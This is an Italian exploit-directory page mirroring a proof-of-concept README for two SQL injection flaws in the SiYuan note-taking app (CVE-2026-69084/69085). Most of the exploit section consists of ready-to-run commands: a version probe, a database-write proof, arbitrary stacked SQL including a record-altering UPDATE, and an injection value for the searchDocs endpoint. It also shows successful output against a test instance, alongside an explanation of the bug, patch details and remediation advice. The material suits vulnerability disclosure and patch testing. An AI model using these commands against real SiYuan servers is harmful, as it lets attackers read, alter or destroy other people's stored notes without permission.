Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-69084-PoC — CVE-2026-69084/69085 — Esecuzione SQL arbitraria in SiYuan tramite searchEmbedBlock + SQLi in searchDocs (CVSS 9.9). Verificato su v3.7.2, respinto su v3.7.3. | Kitploit
Strumenti/GitHubGitHub/boreas37/cve-2026-69084-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSicurezza dei Database
GitHubboreas37/cve-2026-69084-poc

CVE-2026-69084-PoC

CVE-2026-69084/69085 — Esecuzione SQL arbitraria in SiYuan tramite searchEmbedBlock + SQLi in searchDocs (CVSS 9.9). Verificato su v3.7.2, respinto su v3.7.3.

Vedi Repository
1121 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-69084 / CVE-2026-69085 — Esecuzione SQL Arbitraria e SQLi in SiYuan

CVE-2026-69084: Esecuzione SQL Arbitraria tramite /api/search/searchEmbedBlock CVE-2026-69085: SQL Injection tramite /api/filetree/searchDocs CVSS 9.9 (Critico) ciascuna · CWE-89 · SiYuan <= v3.7.2 (corretto in v3.7.3) Pubblicato il 2026-08-03 · nessun PoC pubblico al momento della pubblicazione

TL;DR

SiYuan (app per appunti open-source, github.com/siyuan-note/siyuan) espone due endpoint API che passano SQL controllato dall'attaccante al suo database SQLite:

CVE-2026-69084 — /api/search/searchEmbedBlock: Il parametro stmt viene passato verbatim all'handle principale di lettura-scrittura siyuan.db senza alcuna restrizione su singola istruzione o sola lettura. Il driver SQLite esegue istruzioni impilate (separate da punto e virgola), quindi un attaccante può eseguire CREATE / INSERT / UPDATE / DELETE / DROP su qualsiasi cosa nel database. Protetto solo da CheckAuth — raggiungibile con un token RoleReader di pubblicazione, o in modo anonimo quando la modalità di pubblicazione ha Publish.Auth.Enable=false.

CVE-2026-69085 — /api/filetree/searchDocs: Il parametro keyword viene concatenato direttamente nel SQL senza escaping o binding di parametri.

Entrambe sono state corrette in v3.7.3 tramite sql.CheckSingleStatement() + sql.CheckReadonlyStatementInBox().

Exploit

# 1. Sonda non distruttiva (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check

# 2. Prova di scrittura DB: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof

# 3. Esegui SQL arbitrario (supporta istruzioni impilate)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"

# 4. SQLi su searchDocs (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"

Se l'istanza viene eseguita con la modalità di pubblicazione abilitata e l'autenticazione disabilitata (Publish.Auth.Enable=false), non è affatto necessario --auth.

Verifica (SiYuan reale v3.7.2 in Docker)

$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL accettato (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL accettato (blocks: 0)
[+] PROVA DI SCRITTURA DB COMPLETATA — tabella pwn_69084 + riga 31337 in siyuan.db

# Sull'host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337

v3.7.3 corretta rifiuta le stesse richieste:

  • SELECT 1; CREATE TABLE x → "SQL statement is not single"
  • UPDATE blocks ... → "SQL statement is not a read-only query"
  • singola SELECT funziona ancora (funzionalità legittima preservata)

Internals del PoC

Il PoC Python esegue un login di sessione (/api/system/loginAuth) per ottenere il cookie di autenticazione, quindi invia POST all'endpoint vulnerabile. Testato contro b3log/siyuan:v3.7.2 (vulnerabile) e b3log/siyuan:v3.7.3 (corretto).

Rimedio

  • Aggiorna SiYuan alla v3.7.3 o successiva.
  • Se esponi la modalità di pubblicazione di SiYuan, mantieni Publish.Auth.Enable=true e usa token RoleReader forti.

Riferimenti

  • GHSA-p2x7-4c4p-8wh6 (69084)
  • GHSA-5w4j-hchp-r332 (69085)
  • NVD — CVE-2026-69084
  • NVD — CVE-2026-69085
  • Advisory VulnCheck

Disclaimer

Solo per test di sicurezza autorizzati e scopi educativi.

Scarica lo strumento